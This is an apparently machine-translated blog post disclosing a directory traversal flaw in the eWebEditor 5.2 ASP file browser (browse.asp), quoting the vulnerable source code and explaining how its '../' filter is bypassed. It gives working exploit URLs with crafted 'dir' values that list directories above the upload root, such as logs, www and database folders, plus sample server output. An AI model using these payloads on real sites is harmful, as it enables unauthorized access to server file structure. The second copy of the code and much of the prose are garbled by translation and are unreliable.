ewebeditor 5,2 уразливості серії каталог
: St0p
Власна станція з редактором перед своїми впорядкування ewebeditor 5.2 ASP версії для роботи втомлений, на відпочинок, редактор не думаю, на самом деле я знайшов невелику лазівку, хоча роль , однак, не буде використовуватися для надання допомоги або дуже добре.
Файл лазівка існує в ewebeditor / ASP / browse.asp
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub Функція GetList () Dim s_list, s_Url s_list = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName "Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server. CreateObject (" Scripting.FileSystemObject ") Set oUploadFolder = oFSO. GetFolder (Server. MapPath (sCurrDir)) 'змінна записку sCurrDir, це значення можна використовувати Якщо Ерр Кількість> 0 Then s_list = "" Exit Function End If Якщо sDir <> "" Тоді, якщо InStrRev (sDir "/")> 1, то s_Url = Left (sDir, InStrRev (sDir "/") - 1) Else s_Url = "" End If s_list = s_list і "<л OnClick = 'doRowClick (це)" OnMouseOver =' doRowOver (це) "onmouseout = 'doRowOut (це)" isdir =' істинний 'шлях =' "& s_Url &" ">" & _ "<td> <IMG кордону = 0 SRC = '.. / sysimage / файл / parentfolder GIF '> </ TD> "& _" <td> .. </ TD> "& _" <td> </ TD> "& _" </ TR> "End If' Response.Write sDir і "!" і s_list Dim oSubFolder For Each oSubFolder В oUploadFolder. oUploadFolder.SubFolders підпапки "Response.Write Якщо sDir =" "Тоді s_Url = oSubFolder. Ім'я інше s_Url = sDir і" / "і oSubFolder. Ім'я End If s_list = s_list і" <tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" і s_Url і "'> "& _" <td> <IMG межа = 0 SRC = '.. / sysimage / файл / closedfolder.gif'> </ TD> "& _" <td noWrap> "і oSubFolder. Ім'я і" </ TD> "& _" <td> </ TD> "& _" </ TR> "Далі" Response.Write s_list Set oUploadFiles = oUploadFolder. файлів для кожного oUploadFile В oUploadFiles "Response.Write sFileName oUploadFile.Name = oUploadFile. Ім'я Якщо CheckValidExt (sFileName) = True Then "Цей напрям був трохи пригніченим, щоб виявити все дозволено файлу суфікса, наприклад, не буде не в змозі перерахувати або не перерахувати тільки імена каталогів та файлів зображень в Якщо sDir =" "Тоді s_Url = sContentPath і sFileName інше s_Url = sContentPath до і sDir і "/" і sFileName End If s_list = s_list і "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" і s_Url і "'> "& _" <td> "і FileName2Pic (sFileName) &" </ TD> "& _" <td noWrap> "і sFileName &" </ TD> "& _" <td align=right> "і GetSizeUnit ( oUploadFile. розміру) і "</ TD>" & _ "</ TR>" End If Next Set oUploadFolder = oUploadFiles нічого Set = Nothing 'Response.Write Server.HTMLEncode (s_list) і "!" і s_Url Якщо sDir = "" Потім s_Url = "" 's_Url = "/" Else s_Url = "/" і sDir & ""' s_Url = "/" і sDir і "/" End If s_list = s_list & "</ стіл>" s_list = HTML2JS ( s_list) 'Response.Write Server.HTMLEncode (s_list) і "!" і s_Url s_list = "parent.setDirList (" "" & s_list & "" "" "" & s_Url & "" ")" GetList = s_list End Function "Якщо ви не наступите виявлення, повинні мати можливість отримати список всіх файлів в каталозі, і трохи депресії .. тепер тільки список файлів і каталогів, щоб суфікс ім'я функції CheckValidExt (s_FileName) Якщо sAllowExt =" "Тоді CheckValidExt = Правда End Function Вихід Якщо Dim я, Aext, Sext Sext = LCase (Mid (s_FileName, InStrRev (s_FileName) + 1) ".") CheckValidExt = False Aext = Split (LCase (sAllowExt), "|") для г = 0 To UBound (Aext) Якщо Aext (г) = Sext Потім CheckValidExt = True End Function If Next Exit Function End "вниз, щоб знайти код знайдений sCurrDir значення наступного варто Sub InitParam () тампон = UCase (Trim (Request. QueryString ("тип"))) sStyleName = Trim (Request. QueryString ("Стиль")) Dim я, aStyleConfig, bValidStyle bValidStyle = False Для г = 1 To UBound (Astyle) aStyleConfig Split = (Astyle (г), "| | |") Якщо LCASE (sStyleName) = LCASE (aStyleConfig (0)) тоді bValidStyle = True Exit For End If Next Якщо bValidStyle = False тоді OutScript ("попередження ('Невірний стиль.)") End If sBaseUrl = aStyleConfig (19) "nAllowBrowse = CLng (aStyleConfig (43)) nAllowBrowse = 1 Якщо nAllowBrowse <> 1, то OutScript (" Alert ("Не допускайте перегляду! ')") End If sUploadDir = aStyleConfig (3) Якщо лівий (sUploadDir, 1) <> "/", потім виберіть Справа тампон Дело "REMOTE" sUploadDir = ".. / .. /" і sUploadDir і "Image /" Дело "FILE" sUploadDir = ".. / .. / "І sUploadDir та" Інші / "Дело" МЕДІА "sUploadDir =" .. / .. / "і sUploadDir і" Media / "Дело" FLASH "sUploadDir =" .. / .. / "і sUploadDir і" Flash / " Case Else sUploadDir = ".. / .. /" і sUploadDir і "Image /" End Select End If 'sUploadDir = sUploadDir і "/" Select Case sBaseUrl Дело "0", "sContentPath = aStyleConfig (23) Select Case тампон Дело" REMOTE "sContentPath =" .. / "і aStyleConfig (3) і" Image / "Дело" "sContentPath =" Файл .. / "і aStyleConfig (3) і" Інші / "Дело" "sContentPath =" MEDIA .. / "І aStyleConfig (3) і" Media / "Дело" "sContentPath =" FLASH .. / "і aStyleConfig (3) і" Flash / "Case Else sContentPath =" .. / "і aStyleConfig (3) і" Image / "End Select Case" 1 "= sContentPath RelativePath2RootPath (sUploadDir) Case" 2 "= sContentPath RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Виберіть Select Case тампон Дело" REMOTE "sAllowExt = aStyleConfig (10) Case" FILE "sAllowExt = aStyleConfig (6 ) Case "МЕДІА" sAllowExt = aStyleConfig (9) Case "FLASH" sAllowExt = aStyleConfig (7) Case Else sAllowExt = aStyleConfig (8) End Select sCurrDir = Примітка sUploadDir, це шлях до конфігурації адресу sDir = Trim ( Запит ("каталог")) 'отримати змінну sDir каталог = Replace (sDir, "\", "/")' реж мінлива фільтр sDir = Replace (sDir ".. /", "") sDir = Replace ( sDir ". /", "") Якщо sDir <> "" Тоді, якщо CheckValidDir (Server. MapPath (sUploadDir і sDir)) = True Then sCurrDir = sUploadDir і sDir і "/" "зосередитися на цьому, см. Ні, коли при sUploadDir і sDir, sCurrDir на вартість sUploadDir і sDir «Хоча на перший погляд sDir фільтрується, але ми можемо пропустити. конкретних st0p використання інше sDir буде дан в наступному використанні = "End If End If End Sub |
Гей, побачити це ви повинні розуміти, що, справді, фільтрація каталогу, ми можемо побудувати особливу цінність для пропуску перевірки, так що ви можете отримати структуру каталогів і відображення файлів з розширенням, допустимих у файлі налаштувань ..
Використання методів є наступні
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
St0p тест каталог завантаження є кореневий каталог UploadFile за вищевказаною адресою ви можете отримати всі каталоги в кореневому каталозі.
Гей, якщо ви виявите відкритий дисплей залишається порожнім, не падати духом, який переглядати вихідний код, ви бачите, що буде мати кореневої директорії каталогу.
Він кореневої директорії є каталог гість, ми можемо перерахувати за адресою його наступну структуру
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Тоді ми можемо також
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Перейти до вищих верств, мій тестовий віртуального хоста, отримати три директорії WWW, лог-файл, datebase.
<HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ title> </ HEAD> <body> <скриптової мови = JavaScript> parent.setDirList ("<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='../..'> <TD > <img border=0 src='../sysimage/file/parentfolder.gif'> </ TD> <td> .. </ TD> <td> </ TD> </ TR> <тр OnClick = 'doRowClick (це) "OnMouseOver =' doRowOver (це)" onmouseout = 'doRowOut (це) "isdir =' істинний 'шлях =' .. / .. / .. / лог"> <td> <IMG кордон = 0 SRC = '.. / sysimage / файл / closedfolder.gif'> </ TD> <td noWrap> логах </ TD> <td> </ TD> </ TR> <тр OnClick = 'doRowClick (це ) 'OnMouseOver =' doRowOver (це) "onmouseout = 'doRowOut (це)" isdir =' істинний 'шлях =' .. / .. / .. / ВСП> <td> <IMG кордону = 0 SRC = ". . / sysimage / файл / closedfolder.gif '> </ TD> <td noWrap> WWW </ TD> <td> </ TD> </ TR> </ стіл> "," / .. / .. / .. ") </ SCRIPT> </ body> </ html> |
Ця вразливість може застосовуватися тільки при використанні допоміжних виявлення вторгнень, можна отримати структуру каталогів, наприклад, управління змінами каталогів, баз даних каталогу, так що ви можете отримати ім'я каталогу, але я не можу перерахувати файли дозволяють st0p депресії. я ....
Це вже другий оригінальний документ, виданий st0p на блозі, після багаторазових, Ga, в даний час також розглядається блог відкрили ..
Примітка: стрибок в каталозі веб-сайті використовуються у всіх я знайшов у реєстратурі будуть замінені










































214 Trackback (и)
Ви повинні бути зареєстровані , щоб залишити коментар.